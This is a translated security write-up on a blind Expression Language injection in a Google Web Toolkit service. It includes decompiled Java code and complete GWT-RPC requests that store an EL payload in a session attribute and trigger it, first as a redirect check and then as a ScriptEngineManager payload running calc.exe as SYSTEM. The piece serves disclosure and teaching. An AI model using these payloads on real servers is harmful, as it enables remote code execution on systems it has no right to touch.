翻译:shan66
预估稿费:150RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
此前,我曾经发表过一篇Google Web Toolkit(GWT)安全审计方面的文章;今天,我们将重点关注在GWT端点中发现的一个特定的漏洞。值得庆幸的是,Matthias Kaiser已经帮助我们开发了相应的漏洞利用代码。
简介
本文将为读者详细介绍在Google Web Toolkit(GWT)端点中触发的一个“半复杂的”表达式语言注入漏洞。
漏洞详解
在WEB-INF / web.xml文件中,我发现了如下所示的映射关系 :
<servlet>
<servlet-name>someService</servlet-name>
<servlet-class>com.aaa.bbb.ccc.ddd.server.SomeServiceImpl</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>someService</servlet-name>
<url-pattern>/someService.gwtsvc</url-pattern>
</servlet-mapping>
我们可以看到,上面的代码引用了服务器映射。 由于GWT是通过定义客户端类来指出客户端访问哪些方法的,所以,我们不妨先考察一下相应的客户端类com.aaa.bbb.ccc.ddd.client.SomeService:
public abstract interface SomeService
extends RemoteService
{
public abstract void sendBeanName(String paramString);
public abstract Boolean setMibNodesInfo(List<MIBNodeModel> paramList);
public abstract void createMibNodeGettingBean();
}
其中,有三个函数引起了我们的注意,下面,让它们看看它们分别都是干什么的。我们可以在包含类SomeServiceImpl的主jar存档中读取相应的Java代码,具体如下所示:
public void sendBeanName(String paramString)
{
if (paramString == null) {
return;
}
HttpSession localHttpSession = super.getThreadLocalRequest().getSession();
if (localHttpSession != null) {
localHttpSession.setAttribute("MibWidgetBeanName", paramString);
}
}
很好,这里可以使用一个处于我们控制之下的字符串来设置一个名为MibWidgetBeanName的会话属性。到目前为止,还没找到什么有趣的东西。下面,我们来考察setMibNodesInfo函数:
public Boolean setMibNodesInfo(List<MIBNodeModel> paramList)
{
List localList = ModelUtil.mibNodeModelList2MibNodeList(paramList);
if (localList != null)
{
MibNodesSelect localMibNodesSelect = getBeanByName();
这个函数用到一个List类型的输入参数,其中元素类型为MIBNodeModel类型。同时,mibNodeModelList2MibNodeList函数将对我们提供的列表的有效性进行检查,并根据列表的第一个元素的值来返回不同的字符串。
如果我们的列表中没有提供相应的值,它将定义一个List,并返回一个默认的MIBNodeModel实例。 然后,getBeanByName函数将被调用。那么,下面我们开始研究getBeanByName函数。
private MibNodesSelect getBeanByName()
{
...
Object localObject1 = super.getThreadLocalRequest().getSession();
if (localObject1 != null)
{
localObject2 = (String)((HttpSession)localObject1).getAttribute("MibWidgetBeanName");
if (localObject2 != null)
{
localObject3 = null;
try
{
localObject3 = (MibNodesSelect)FacesUtils.getValueExpressionObject(localFacesContext, "#{" + (String)localObject2 + "}");
}
finally
{
if ((localFacesContext != null) && (i != 0)) {
localFacesContext.release();
}
}
return (MibNodesSelect)localObject3;
}
}
return null;
}
由于这是一种私有的方法,所以它不能通过客户端界面来访问,也就是说,我们不能直接调用它。 不过,从第8行看到,我们再次用到了属性MibWidgetBeanName,并将其存储到一个名为localObject2的字符串中。
这里的localObject2变量稍后会在第14行中用于检索表达式。这是一个经典的表达式注入漏洞,尤其是在反编译代码之后,大家会看的更清楚一些。
漏洞利用代码
首先,读者会注意到,这不是一种反射型的表达式语言注入漏洞。也就是说,我们无法通过查看代码执行的结果来验证漏洞。 因此,我将其归类为盲表达式语言注入漏洞。
假设我们在Java Servlet Faces(JSF)应用程序中有一个漏洞:
<h:outputText value="${beanEL.ELAsString(request.getParameter('expression'))}" />
攻击者只需发出以下请求:
http://[target]/some_endpoint/vuln.jsf?expression=9%3b1
由于浏览器会将+转换为空格,所以我们需要对+进行编码,从而确保实际发送的是9 + 1,而在服务器响应中,如果我们看到的值为10,就能确定这里有一个表达式语言注入漏洞,因为执行了相应的数学操作,即相加。实际上,这就是Burp Suite用于检测模板注入漏洞的方法。
然而,对于上面给出的易受攻击的代码而言,能否轻松确定出表达式语言注入漏洞呢? 在尝试JSF api之后,我发现了一些非常简洁的函数,可以用来确定EL注入漏洞的存在,并且不会发出“outgoing”的HTTP请求。
根据相关的文档说明的介绍,我们可以在FacesContext实例上使用getExternalContext方法。这个方法会返回一个ExternalContext类型,允许我们设置特定的响应对象属性。在考察这个函数的过程中,我想起来两个函数:
setResponseCharacterEncoding
redirect
因此,我们可以将字符串设置为以下Java代码:
facesContext.getExternalContext().redirect("http://srcincite.io/");
…如果响应是到http://srcincite.io/的302重定向,那么我们就可以确认,这个代码含有相应的漏洞。
漏洞测试
我们需要发出第一个请求是设置会话属性MibWidgetBeanName
POST /someService.gwtsvc HTTP/1.1
Host: [target]
Accept: */*
X-GWT-Module-Base:
X-GWT-Permutation:
Cookie: JSESSIONID=[cookie]
Content-Type: text/x-gwt-rpc; charset=UTF-8
Content-Length: 195
6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|sendBeanName|java.lang.String|facesContext.getExternalContext().redirect("http://srcincite.io/")|1|2|3|4|1|5|6|
服务器响应为// OK [[],0,6],我们就可以知道GWT注入是成功的。然后,通过第二个请求触发存储在会话字符串中的表达式语言注入漏洞。但是,在发送这个请求之前,由于我们需要使用复合类型的setMibNodesInfo函数,因此我们需要查找定义允许发送的可用类型的策略文件。在[strong name] .gwt.rpc文件中,我找到了ArrayList的类型值:java.util.ArrayList / 382197682。
现在我们可以在请求中使用该类型了:
POST /someService.gwtsvc HTTP/1.1
Host: [target]
Accept: */*
X-GWT-Module-Base:
X-GWT-Permutation:
Cookie: JSESSIONID=FB531EBCCE6231E7F0F9605C7661F036
Content-Type: text/x-gwt-rpc; charset=UTF-8
Content-Length: 171
6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|setMibNodesInfo|java.util.List|java.util.ArrayList/3821976829|1|2|3|4|1|5|6|0|
相应的响应如下所示:
HTTP/1.1 302 Found
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=[cookie]; Path=/; Secure; HttpOnly
Set-Cookie: oam.Flash.RENDERMAP.TOKEN=-g9lc30a8l; Path=/; Secure
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Location: http://srcincite.io/
Content-Type: text/html;charset=UTF-8
Content-Length: 45
Date: Wed, 03 May 2017 18:58:36 GMT
Connection: close
//OK[0,1,["java.lang.Boolean/476441737"],0,6]
当然,对所有的漏洞检测来说,重定向是非常不错的,但我们真正想要的却是shell。阅读Minded Securities的文章后,发现可以使用ScriptEngineManager的JavaScript引擎动态执行Java代码。当然,他们的代码有点长,这里给出我自己的精简版本。
"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var proc=new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"cmd.exe\",\"/c\",\"calc.exe\"]).start();")
使用该代码更新MibWidgetBeanName会话属性,并重新触发setMibNodesInfo函数,以SYSTEM身份执行命令:
POST /someService.gwtsvc HTTP/1.1
Host: [target]
Accept: */*
X-GWT-Module-Base:
X-GWT-Permutation:
Cookie: JSESSIONID=[cookie]
Content-Type: text/x-gwt-rpc; charset=UTF-8
Content-Length: 366
6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|sendBeanName|java.lang.String|"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var proc=new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"cmd.exe\",\"/c\",\"calc.exe\"]).start();")|1|2|3|4|1|5|6|
触发表达式语言注入漏洞…
POST /someService.gwtsvc HTTP/1.1
Host: [target]
Accept: */*
X-GWT-Module-Base:
X-GWT-Permutation:
Cookie: JSESSIONID=FB531EBCCE6231E7F0F9605C7661F036
Content-Type: text/x-gwt-rpc; charset=UTF-8
Content-Length: 171
6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|setMibNodesInfo|java.util.List|java.util.ArrayList/3821976829|1|2|3|4|1|5|6|0|
小结
从黑盒测试的角度来看,几乎没有办法可以发现这个漏洞。常见的工具,如Burp Suite,目前还无法检测到这种漏洞,特别是考虑到字符串存储在会话属性中的特殊情况。
随着网络技术的进步,我们对自动化的需求正在日益增加,但是在这方面的工具、技能和知识还相对缺乏,因此,许多相关的应用程序的关键代码执行漏洞还会存在一段时间。